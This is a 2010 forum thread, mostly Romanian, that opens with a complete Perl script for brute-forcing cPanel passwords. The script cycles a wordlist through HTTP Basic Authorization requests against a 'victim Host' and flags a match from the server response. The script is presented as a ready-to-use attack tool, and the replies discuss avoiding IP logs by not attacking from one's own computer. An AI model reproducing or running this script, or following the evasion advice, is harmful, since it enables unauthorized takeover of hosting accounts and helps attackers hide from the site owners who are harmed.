l33tz Posted June 29, 2010 Report Share Posted June 29, 2010 #!/usr/bin/perl# Cpanel Password Brute Forcer# ----------------------------# (c)oded By Macedonian Security Crew# Perl Version ( low speed )# Oerginal Advisory # use IO::Socket;use LWP::Simple;use MIME::Base64;$host = $ARGV[0];$user = $ARGV[1];$port = $ARGV[2];$list = $ARGV[3];$file = $ARGV[4];$url = "http://".$host.":".$port;if(@ARGV < 3){print q(################################################################ Cpanel Password Brute Force Tool ################################################################# usage : cpanel.pl [HOST] [User] [PORT][list] [File] ##-------------------------------------------------------------## [Host] : victim Host (simorgh-ev.com) ## [User] : User Name (demo) ## [PORT] : Port of Cpanel (2082) ##[list] : File Of password list (list.txt) ## [File] : file for save password (password.txt) ## ################################################################# (c)oded By Macedonian Security Crew ################################################################);exit;}headx();$numstart = "-1";sub headx() {print q(################################################################ Cpanel Password Brute Force Tool ## (c)oded By Macedonian Security Crew ################################################################);open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";@PASSWORDS = <PASSFILE>;close PASSFILE;foreach my $P (@PASSWORDS) {chomp $P;$passwd = $P;print " [~] Try Password : $passwd";&brut;};}sub brut() {$authx = encode_base64($user.":".$passwd);print $authx;my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print " [-] Can not connect to the host";print $sock "GET / HTTP/1.1";print $sock "Authorization: Basic $authx";print $sock "Connection: Close";read $sock, $answer, 128;close($sock);if ($answer =~ /Moved/) {print " [~] PASSWORD FOUND : $passwd";exit();}} Quote Link to comment Share on other sites More sharing options...
alexalghisi Posted June 29, 2010 Report Share Posted June 29, 2010 shi chiar crezi ca la un bruteforce de genul ... nu o sa se vada logurile cu ipurile care au incercat ? Quote Link to comment Share on other sites More sharing options...
l33tz Posted June 30, 2010 Author Report Share Posted June 30, 2010 exista cateva trucuri în Perl Quote Link to comment Share on other sites More sharing options...
strike Posted July 4, 2010 Report Share Posted July 4, 2010 shi chiar crezi ca la un bruteforce de genul ... nu o sa se vada logurile cu ipurile care au incercat ? Cine a zis ca faci bruteforce de pe calculatoru personal ? Quote Link to comment Share on other sites More sharing options...